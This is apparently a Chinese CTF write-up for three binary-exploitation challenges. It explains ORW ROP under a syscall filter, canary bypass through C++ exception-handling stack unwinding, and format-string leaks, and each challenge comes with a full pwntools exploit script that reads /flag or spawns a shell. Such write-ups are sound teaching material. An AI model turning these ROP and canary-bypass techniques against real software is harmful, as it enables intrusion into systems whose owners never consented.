dynamic_but_static
禁了一些系统调用,但是可以利用ORW。并且对输入的数据进行了限制,无法直接利用syscall和pop rax。所以第一次先利用puts函数泄露真实地址,然后返回main函数重新调用一次read,构造bss段上的read的ROP链。读取ORW的syscall调用,然后栈迁移过去执行。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.buuoj.cn', 28300) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc.so.6') pop_rdi =0x0000000000401381 ret = 0x000000000040101a payload = b'a'*0x20 + p64(0) + p64(0) + b'a'*8 + p64(pop_rdi) + p64(elf.got['puts']) + p64(0x4010D4) + p64(0x40138A)
sl(payload) puts_addr = uu64() lg("puts_addr",puts_addr) libc_base = puts_addr - libc.sym['puts'] lg("libc_base",libc_base) pop_rsi = 0x000000000002be51 + libc_base pop_rdx = 0x00000000000796a2 + libc_base leave_ret = 0x000000000004da83 + libc_base mprotect = libc_base + libc.sym['mprotect'] lg("mprotect",mprotect) read = libc_base + libc.sym['read'] lg("read",read) bss = 0x404200 syscall = 0x0000000000091316 + libc_base pop_rax = 0x0000000000045eb0 + libc_base
sleep(0.5) payload = b'a'*0x30 + p64(bss-8) + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x100) + p64(0x401104) + p64(leave_ret)
sl(payload)
sleep(0.5) payload = p64(pop_rdi) + p64(0x4042a8) + p64(pop_rsi) + p64(0) + p64(pop_rax) +p64(2) + p64(syscall) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x100) + p64(pop_rax) +p64(0) + p64(syscall)+ p64(pop_rdi) + p64(1) + p64(pop_rax) + p64(1) +p64(syscall) + b'/flag\x00\x00\x00' sl(payload)
inter()
|
Control
静态编译的,所以不需要泄露libc。发现涉及到了C++异常处理函数
C++异常处理过程
首先异常机制中最重要的三个关键字就是:throw try catch,Throw抛出异常,try 包含异常模块,catch 捕捉抛出的异常,三者各有各的分工,集成在一起就构成了异常的基本机制。
异常抛出
在编译一段 C++ 代码时,编译器会将所有 throw 语句替换为其 C++ 运行时库中的某一指定函数,这里我们叫它 __CxxRTThrowExp(与本文提到的所有其它数据结构和属性名一样,在实际应用中它可以是任意名称)。该函数接收一个编译器认可的内部结构(我们叫它 EXCEPTION 结构)。这个结构中包含了待抛出异常对象的起始地址、用于销毁它的析构函数,以及它的 type_info 信息。对于没有启用 RTTI 机制(编译器禁用了 RTTI 机制或没有在类层次结构中使用虚表)的异常类层次结构,可能还要包含其所有基类的 type_info 信息,以便与相应的 catch 块进行匹配。
__CxxRTThrowExp 首先接收(并保存)EXCEPTION 对象;然后从 TLS:Current ExpHdl 处找到与当前函数对应的 piHandler、nStep 等异常处理相关数据;并按照前文所述的机制完成异常捕获和栈回退。由此完成了包括“抛出”->“捕获”->“回退”等步骤的整套异常处理机制。
异常捕获机制
一个异常被抛出时,就会立即引发 C++ 的异常捕获机制: 根据 c++ 的标准,异常抛出后如果在当前函数内没有被捕捉(catch),它就要沿着函数的调用链继续往上抛,直到走完整个调用链,或者在某个函数中找到相应的 catch。如果走完调用链都没有找到相应的 catch,那么std::terminate() 就会被调用,这个函数默认是把程序 abort,而如果最后找到了相应的 catch,就会进入该 catch 代码块,执行相应的操作。
程序中的 catch 那部分代码有一个专门的名字叫作:Landing pad(不十分准确),从抛异常开始到执行 landing pad 里的代码这中间的整个过程叫作 stack unwind,这个过程包含了两个阶段: 1)从抛异常的函数开始,对调用链上的函数逐个往前查找 landing pad。
2)如果没有找到 landing pad 则把程序 abort,否则,则记下 landing pad 的位置,再重新回到抛异常的函数那里开始,一帧一帧地清理调用链上各个函数内部的局部变量,直到 landing pad 所在的函数为止。
为了能够成功地捕获异常和正确地完成栈回退(stack unwind)
栈回退(Stack Unwind)机制
“回退”是伴随异常处理机制引入 C++ 中的一个新概念,主要用来确保在异常被抛出、捕获并处理后,所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收。
总结来说
异常对象由函数 __cxa_allocate_exception() 进行创建,最后由 __cxa_free_exception() 进行销毁。当我们在程序里执行了抛出异常后,编译器为我们做了如下的事情:
1)调用 __cxa_allocate_exception 函数,分配一个异常对象。
2)调用 __cxa_throw 函数,这个函数会将异常对象做一些初始化。
3)__cxa_throw() 调用 Itanium ABI 里的 _Unwind_RaiseException() 从而开始 unwind。
4)_Unwind_RaiseException() 对调用链上的函数进行 unwind 时,调用 personality routine。
5)如果该异常如能被处理(有相应的 catch),则 personality routine 会依次对调用链上的函数进行清理。
6)_Unwind_RaiseException() 将控制权转到相应的catch代码。
7)unwind 完成,用户代码继续执行
简单来说就是,当触发C++异常处理时,会根据当前栈帧rbp和ret来回收栈帧,回到上一个调用的函数中寻找catch,如果没找到就重复上述过程,直到找到为止,如果找到了就从catch开始执行。没找到就会调用std::terminate() 。
利用过程
就是通过控制rbp和ret,来控制流程的走向。具体调试的可以分析一下。
由于这道题开启了canary,如果触发异常处理后,通过找到catch并且执行,会绕过canary检测。并且利用这个leave_ret可以触发一次栈迁移。
那么既然可以绕过canary,那么就思考如何利用栈进行getshell。
可以控制程序流程回到read部分,此时由于rbp是bss段地址,所以就可以利用这个read将数据输入到bss段。因为是静态编译的,所以可以利用syscall调用execve(‘/bin/sh’,0,0)。]
read读取之后,会再次进入到异常处理中,所以说还有一次leave_ret的栈迁移。就是通过这一次栈迁移控制rip执行ret2syscall。
调试一下,控制好bss段的rbp地址和leave_ret的关系,执行ret2syscall即可getshell。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| from pwn import * from ctypes import * from libcfind import * from LibcSearcher import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: p = process('./pwn') elf = ELF('./pwn') else: p = remote('node5.buuoj.cn', 27120) elf = ELF('./pwn')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
rl(b"Gift> ") pop_rsi = 0x0000000000405285 pop_rdi = 0x0000000000401c72 pop_rdx = 0x0000000000401aff ret = 0x000000000040101a syscall = 0x000000000040161e
payload = p64(0x4d3350) + p64(0x402183)
s(payload) rl(b"How much do you know about control?\n") sleep(0.5) payload = b'a'*0x70 + p64(0x4D3350) s(payload)
sleep(0.5) payload = b'a'*0x78 + p64(ret) +p64(pop_rdi) + p64(0x4D33a8) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(0x0000000000462c27) + p64(0x3b) + p64(syscall) + b'/bin/sh\x00' s(payload)
inter()
|
Exception
这道题跟前面一道差不多,都是考察C++异常处理的过程的。
通过这个格式化字符串漏洞将程序运行addr地址和libc的地址以及stack的地址和canary全部泄露出来。
调试一下发现触发异常处理之后,会经过一次ret操作,由于泄露的有栈地址,控制rbp为泄露的stack_addr,因为catch中会对canary进行比较,是通过[ebp-0x18]来判断的,此时rbp是stack_addr的地址,所以需要调整一下,控制rbp为stack_addr+0x18,这样就会从stack_addr地址处的值取当作canary,stack_addr开始的内容我们是可以控制的,所以就能绕过canary了。后面调试发现,我们可以利用main函数的栈帧进行劫持,所以就需要覆盖到前一个函数的返回地址,因为异常处理退栈是通过ret了,因为我们泄露的程序地址,不能修改ret处的地址,然后覆盖到main函数栈帧中的返回地址为ROP链即可。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * from ctypes import * from libcfind import * import base64 import sys context(os='linux', arch='amd64', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 0 if debug: p = process('./exception') elf = ELF('./exception') else: p = remote('node5.buuoj.cn', 25359) elf = ELF('./exception')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('/pwn/libc.so.6') rl("please tell me your name\n") payload = b'%11$p-%9$p_%7$p'
sl(payload) rl(b'0x') libc_leak = int(p.recv(12),16) lg("libc_leak",libc_leak) libc_base = libc_leak-243-libc.sym['__libc_start_main'] lg("libc_base",libc_base) rl(b'-0x') addr = int(p.recv(12),16) lg("addr",addr) rl(b'_0x') canary = int(p.recv(16),16) lg("canary",canary) addr_base = addr-0x1480 lg("addr_base",addr_base) rl(b"stack\n") rl(b'0x') stack_addr = int(p.recv(12),16) lg("stack_addr",stack_addr)
system = libc_base + libc.sym['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) pop_rdi = 0x00000000000014e3 + addr_base ret = 0x000000000000101a + addr_base
rl(b"How much do you know about exception?") payload = p64(canary) + p64(addr_base+0x13DC) + b'a'*0x58 + p64(canary) + p64(stack_addr+0x18) + p64(addr_base+0x1408) + p64(0) + p64(canary) + p64(0)*3 + p64(ret) +p64(pop_rdi) + p64(binsh) + p64(system)
s(payload)
inter()
|